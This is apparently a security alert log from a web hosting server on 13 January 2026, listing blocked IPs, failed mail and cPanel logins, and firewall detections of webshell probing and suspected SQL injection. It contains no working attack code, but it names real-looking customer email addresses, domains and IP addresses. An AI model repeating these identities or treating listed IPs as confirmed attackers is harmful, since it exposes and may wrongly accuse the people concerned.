plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:10:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62015: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:10:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62015: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.37.78.55
country_id: 3469034
domain: www.symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.symphony-led.com/products/outdoor-led-screen/outdoor-led-screen-of25-series/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.78
country_id: 953987
description:
Jan 13 09:11:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.233
country_id: 2300660
description:
Jan 13 09:11:23 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.233 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-01-13 09:11:42 H=([91.92.240.254]) [91.92.240.254]:62575 F=<enquiry@symphony-led.com> rejected RCPT <enquiry@symphony-led.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.76
country_id: 2510769
description:
Jan 13 09:13:48 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.234.161.78
country_id: 3469034
description:
Jan 13 09:16:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.234.161.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.249.73
country_id: 3469034
description:
Jan 13 09:17:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.249.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 134.56.58.179
country_id: 6252001
description:
Jan 13 09:17:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 134.56.58.179 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 134.56.58.179
country_id: 6252001
description:
2026-01-13 09:17:53 dovecot_login authenticator failed for H=(134.56.58.179.hwccustomers.com) [134.56.58.179]:47818: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.231
country_id: 6290252
description:
Jan 13 09:17:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.58
country_id: 3175395
description:
Jan 13 09:17:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.6.221
country_id: 3077311
description:
Jan 13 09:18:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.6.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.65.142.69
country_id: 798544
description:
Jan 13 09:19:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.65.142.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.90.132
country_id: 3469034
description:
Jan 13 09:19:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.90.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.199
country_id: 3175395
description:
Jan 13 09:19:45 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.199 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 42.191.143.110
country_id: 1733045
description:
[2026-01-13 09:19:53 +0800] info [webmaild] 42.191.143.110 - zawir@fkr.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.191.143.110
country_id: 1733045
description:
[2026-01-13 09:20:02 +0800] info [webmaild] 42.191.143.110 - zawir@fkr.com.my "POST /login/ HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.85.63.55
country_id: 3469034
description:
Jan 13 09:19:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.85.63.55 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.201
country_id: 3469034
description:
Jan 13 09:19:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.244.218
country_id: 3865483
description:
Jan 13 09:20:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.244.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.139.92
country_id: 690791
description:
Jan 13 09:20:26 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.139.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 09:23:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59030: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 09:23:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59030: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.43.56
country_id: 6290252
description:
Jan 13 09:24:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.43.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:26:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62169: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:26:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62169: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 09:27:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.80.86
country_id: 1269750
description:
Jan 13 09:27:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.80.86 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.4
country_id: 732800
description:
Jan 13 09:27:58 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.4
country_id: 732800
description:
Jan 13 09:28:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.4 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.191.143.110
country_id: 1733045
description:
[2026-01-13 09:34:20 +0800] info [webmaild] 42.191.143.110 - nazurah@fkr.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 223.74.103.105
country_id: 1814991
domain: tst-ma.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:09-34.223.74.103.105||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.119.17
country_id: 1733045
description:
[2026-01-13 09:36:48 +0800] info [webmaild] 175.142.119.17 - admin@pftfood.com "GET /cpsess0297360586/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-13 09:39:17 H=(localhost.localdomain) [78.153.140.207]:55208 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.177
country_id: 3865483
description:
Jan 13 09:41:19 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.228
country_id: 3865483
description:
Jan 13 09:41:42 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.36
country_id: 798544
description:
Jan 13 09:41:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/keyword/img/testimonial.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.36
country_id: 798544
description:
Jan 13 09:42:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 113.211.56.81
country_id: 1733045
domain: www.wcc.com.my
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:7.62||T:APACHE||MVN:ARGS:conditions.links.links.target.class_name||MV:node-output-point bottom center||


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 113.211.56.81
country_id: 1733045
domain: www.wcc.com.my
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: More than 1000 JSON keys||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 113.211.56.81
country_id: 1733045
domain: www.wcc.com.my
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:formula.formula.formula||MV: if(  radio_with_img_field_id_0 !=0 && dropdown_with_img_field_id_1 !=0  && total_field_id_16 <  total_field_id_12 ){\n    total_field_id_12 \n }else  if(  radio_with_img_field_id_0 !=0 && dropdown_with_img_field_id_1 !=0 && total_field_id_16 >=  total_field_id_12 &&  total_field_id_16 < total_field_id_13  ){\n    total_field_id_16\n }else\n{0} ||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.211.56.81
country_id: 1733045
domain: www.wcc.com.my
description:
IM360 WAF: PHP Injection Low value||MV: Math.round( total_field_id_35 )/100||MVN:ARGS:formula.formula.formula||RSV:7.62||T:APACHE||SC:/home2/woh/wcc.com.my/wp-admin/admin-ajax.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.211.56.81
country_id: 1733045
domain: www.wcc.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:formula.formula.formula||MV: if(  radio_with_img_field_id_0 !=0 && dropDown_with_img_field_id_1 !=0  && total_field_id_16 <  total_field_id_12 ){\n    total_field_id_12 \n }else  if(  radio_with_img_field_id_0 !=0 && dropDown_with_img_field_id_1 !=0 && total_field_id_16 >=  total_field_id_12 &&  total_field_id_16 < total_field_id_13  ){\n    total_field_id_16\n }else\n{0} ||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.11.195.122
country_id: 3865483
description:
Jan 13 09:44:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.11.195.122 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.135.2.54
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/news-more.php?id=588460 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.11.195.122
country_id: 3865483
description:
Jan 13 09:44:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.11.195.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.60.252
country_id: 2300660
description:
Jan 13 09:44:24 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.60.252 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-13 09:45:16 +0800] info [webmaild] 175.144.229.115 - claimservice@evergrown.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 09:45:38 H=([45.144.212.242]) [45.144.212.242]:49813 F=<no_reply@admin.com> rejected RCPT <joseph@symphony-led.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.25.30
country_id: 690791
description:
Jan 13 09:47:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.25.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.125
country_id: 3865483
description:
Jan 13 09:46:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.25.30
country_id: 690791
description:
Jan 13 09:47:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.25.30 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - astlbu@astlog.com.my [01/13/2026:01:48:08 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: astlbu@astlog.com.my


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.40.64.181
country_id: 1269750
description:
Jan 13 09:48:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.40.64.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.71.59
country_id: 3865483
description:
Jan 13 09:48:41 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.71.59 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-13 09:48:44 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - boss@astlog.com.my [01/13/2026:01:49:45 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: boss@astlog.com.my


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.157
country_id: 3865483
description:
Jan 13 09:49:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 09:51:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59065: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 09:51:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59065: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.142
country_id: 3865483
description:
Jan 13 09:53:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:54:40 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62486: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-13 10:01:25 +0800] info [webmaild] 115.134.149.232 - regalacc@smartcable.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.64.30.151
country_id: 1643084
description:
Jan 13 10:02:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.64.30.151 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.189.8.120
country_id: 2750405
description:
2026-01-13 10:03:44 2510022 [Warning] Aborted connection 2510022 to db: 'unconnected' user: 'unauthenticated' host: '206.189.8.120' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.182.73.131
country_id: 1835841
description:
Jan 13 10:04:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.182.73.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.200
country_id: 3469034
description:
Jan 13 10:05:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.200 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/sitemap.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.200
country_id: 3469034
description:
Jan 13 10:05:15 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.200 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 165.154.227.72
country_id: 1668284
description:
2026-01-13 10:06:19 2510110 [Warning] Aborted connection 2510110 to db: 'unconnected' user: 'unauthenticated' host: '165.154.227.72' (This connection closed normally without authentication)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.168.77.115
country_id: 6252001
description:
Jan 13 10:06:24 sv3 pure-ftpd[4146344]: (?@104.168.77.115) [INFO] New connection from 104.168.77.115


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.92.164.28
country_id: 6252001
domain: www.tujusetia.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.156.31.141
country_id: 1814991
description:
2026-01-13 10:06:52 dovecot_login authenticator failed for H=([61.156.31.141]) [61.156.31.141]:58854: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.240
country_id: 3469034
description:
Jan 13 10:06:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.48.77.157
country_id: 1814991
description:
Jan 13 10:06:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.48.77.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.48.77.157
country_id: 1814991
description:
2026-01-13 10:07:01 dovecot_login authenticator failed for H=([223.210.0.110]) [111.48.77.157]:41223: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 165.154.227.43
country_id: 1668284
description:
Jan 13 10:06:45 sv3 pure-ftpd[4147004]: (?@165.154.227.43) [INFO] New connection from 165.154.227.43


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 68.183.21.143
country_id: 6252001
description:
2026-01-13 10:06:49 2510133 [Warning] Aborted connection 2510133 to db: 'unconnected' user: 'unauthenticated' host: '68.183.21.143' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.249.234
country_id: 798544
description:
Jan 13 10:07:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.249.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-13 10:08:07 H=(localhost.localdomain) [78.153.140.207]:40172 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.220.148.222
country_id: 2017370
description:
Jan 13 10:08:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.220.148.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.220.148.222
country_id: 2017370
description:
2026-01-13 10:08:22 dovecot_login authenticator failed for H=([95.220.148.222]) [95.220.148.222]:7022: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/survey-meter.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.41.172
country_id: 953987
description:
Jan 13 10:10:42 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.41.172 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/sitemap.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.228.164.236
country_id: 2017370
description:
Jan 13 10:11:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.228.164.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.228.164.236
country_id: 2017370
description:
2026-01-13 10:11:35 dovecot_login authenticator failed for H=([193.228.164.236]) [193.228.164.236]:58314: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-13 10:11:11 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 10.1.14.100
description:
